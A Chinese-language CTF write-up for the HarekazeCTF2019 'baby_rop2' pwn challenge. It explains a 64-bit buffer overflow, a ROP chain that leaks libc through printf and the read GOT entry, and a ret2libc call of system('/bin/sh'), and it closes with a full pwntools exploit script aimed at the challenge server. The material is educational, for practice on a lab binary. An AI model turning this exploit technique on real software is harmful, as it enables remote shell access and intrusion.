[HarekazeCTF2019]baby_rop2

题目附件

步骤:
例行检查,64位,开启了nx保护

运行了一下程序,了解大概的执行情况

64位ida载入,shift+f12检索程序里的字符串,没有发现可以直接利用的,从main函数开始看程序

利用思路:

  1. 程序很简单,buf的大小是0x20,但是读入的时候读入的是0x100,会造成溢出,我们要想办法覆盖返回地址为” system(‘/bin/sh’)“,那样在执行13行语句的时候,程序回去调用我们布置好的栈,从而得到shell
  2. 但是程序里没有现成的system(‘/bin/sh’),这需要我们去自己去构造,这边可以利用read函数,去泄露程序的libc基址,然后去获得system和/bin/sh字符串的地址
  3. 然后造成溢出,将返回地址覆盖为system(‘/bin/sh’)

利用过程

一、 泄露libc基址
由于是64位程序,传参的时候需要用到寄存器
printf函数的原型int printf( const char* format , [argument] ... );
举个例子–>print(’%s’,‘hello world’)
大概就是这样的用法,这边有两个参数要设置,所以我们要找到设置rdi,rsi寄存器的指令

ROPgadget --binary babyrop2 |grep "pop rdi"


rdi_addr=0x400733

ROPgadget --binary babyrop2 |grep "pop rsi"

没有直接设置rsi寄存器的指令,这边后面还跟着一个r15,无所谓了,不用r15,给他随便设置一下就好了,我这边设置的0
pop_rsi=0x400731

我们首先要设置第一个参数,就是带有类似于%s这种格式的字符串,我这边是使用的程序里自带的语句

format_str=0x400770

一开始是打算输出printf的got表地址的,

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(printf_got)+p64(0)+p64(printf_plt)+p64(main_addr)

但是在调试的时候发现没法使用,就换成了read函数的got表地址了

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_addr)

解释一下这句payload的意思

  1. ‘a’*0x28–>造成溢出,覆盖到了返回地址
  2. p64(pop_rdi)+p64(format_str)–>我们在原本语句的返回地址上写入了pop_rdi,ret,pop_rdi,对应参数format_str,执行后将formast_str的值设置给了rdi,之后执行ret(返回指令)
  3. p64(pop_rsi_r15)+p64(read_got)+p64(0)–> 我们将2中的ret写成了pop_rsi,pop_r15,ret;执行指令pop_rsi对应参数read_got,将rsi寄存器的值设置成了read函数的got表地址,pop_r15对应参数0,由于我们不用r15,随便设置一下它,我是设置成了0
  4. p64(printf_plt)–>将3中的ret设置成printf函数的plt表地址,实际上就是printf函数的地址,去执行printf函数,输出我们设置的read函数的地址
  5. p64(main_addr)–> 在完成第一次利用后,得到了程序内read函数的地址,知道了libc基址,我们需要重新回到程序开头,再次利用这个输入点去写入system‘(/bin/sh)’

接收输出的read函数地址
我平常是这样写的,但是这题这样写得到的read函数地址不对

read_addr=u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))

看别人的wp都是这样写的

read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))

问其他师傅是这样给我解释的:
接收地址的你看看基本上都是7个字节的,7f开头,补全8个字节
奇怪的知识又增加了
在得到read函数地址后,就可以得到libc版本和这个程序的偏移量了

libc = LibcSearcher('read', read_addr)  #利用libcsearcher库去查找匹配的libc版本
libc_base = read_addr - libc.dump('read') #计算程序里的偏移量

二、计算程序里system和/bin/sh的地址

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

三、覆盖返回地址位system(‘/bin/sh ’)

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

完整EXP:

from pwn import *
from LibcSearcher import *
context.log_level = 'debug' #p = process('./babyrop2')
p = remote('node3.buuoj.cn',28485)
elf = ELF('babyrop2') pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770
ret_addr = 0x0000000000400734 printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main'] payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt) p.recvuntil("name? ")
p.sendline(payload) read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read') sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh') payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

得到shell后利用find -name ”flag“ 去找到flag文件的位置

最后读出flag

[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2的更多相关文章

  1. [BUUCTF]PWN17——[HarekazeCTF2019]baby_rop

    [BUUCTF]PWN17--[HarekazeCTF2019]baby_rop 附件 步骤: 例行检查,64位,开启了NX保护 试运行一下程序,看这个情况,当我们输入太长字符串的时候会报错 64位i ...

  2. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  3. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  4. [BUUCTF]PWN——hitcontraining_uaf

    [BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...

  5. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  6. buuctf --pwn part2

    pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...

  7. buuctf pwn wp---part1

    pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...

  8. [BUUCTF]PWN——pwnable_hacknote

    pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...

  9. [BUUCTF]PWN——ciscn_2019_es_7[详解]

    ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...

随机推荐

  1. [atACL001F]Center Rearranging

    有一个(比较显然又有点假的)结论:最优方案中(若存在),每一个数(指$3n$个)最多被移动1次 先$o(n^{2})$枚举移动到队首和队尾的操作次数(即目标状态的一个前缀和后缀),判定能否合法 首先, ...

  2. [bzoj2241]打地鼠

    先考虑如何判定一个r*c的矩阵是否符合条件,容易发现左上角的点无法被别的矩阵砸到,要求左上角r*c的矩阵中不能超过最左上角的元素,之后同理不断枚举最上&最左的非0点,可以用差分来优化,复杂度为 ...

  3. Python之浏览器的前进或后退

    import webbrowserwebbrowser.back() 后退webbrowser.forward() 前进

  4. SpringBoot集成邮件发送

    一:简述 在日常中的工作中难免会遇到程序集成邮件发送功能.接收功能:此篇文章我将使用SpringBoot集成邮件发送功能和接收功能:若对邮件一些基本协议和发送流程不懂的请务必参考我之前写的博客或者浏览 ...

  5. URL URI傻傻分不清楚,dart告诉你该怎么用

    目录 简介 dart中的URI encode和decode 解析URI 总结 简介 如果我们要访问一个网站,需要知道这个网站的地址,网站的地址一般被称为URL,他的全称是Uniform Resourc ...

  6. CF1477A Nezzar and Board

    考虑 \(2x - y\) 我们改为 \(x + (x - y)\) 是一个更好的形式. 我们可以表示一个数为\(x_i + \sum_{j,k}(x_j - x_k) = K\) 我们考虑移到 \( ...

  7. Neville 插值方法

    简介 wikipedia: Neville's method 在数学上,Neville 算法是一种计算插值多项式方法,由数学家Eric Harold Neville提出.由给定的n+1个节点,存在一个 ...

  8. perl 获取目录信息

    1 #!/usr/bin/perl -w 2 use strict; 3 use FindBin qw($Bin $Script); 4 5 my $rp=$Bin; 6 print "th ...

  9. SpringBoot集成Kafka的实战用法大全

    本文是SpringBoot+Kafka的实战讲解,如果对kafka的架构原理还不了解的读者,建议先看一下<大白话kafka架构原理>.<秒懂kafka HA(高可用)>两篇文章 ...

  10. C# 设计模式(1)——简单工厂模式、工厂模式、抽象工厂模式

    1.前言 上一篇写了设计模式原则有助于我们开发程序的时候能写出高质量的代码(牵一发而不动全身),这个系列还是做个笔记温习一下各种设计模式,下面就看看简单工厂模式.工厂模式.抽象工厂模式. 2.简单工厂 ...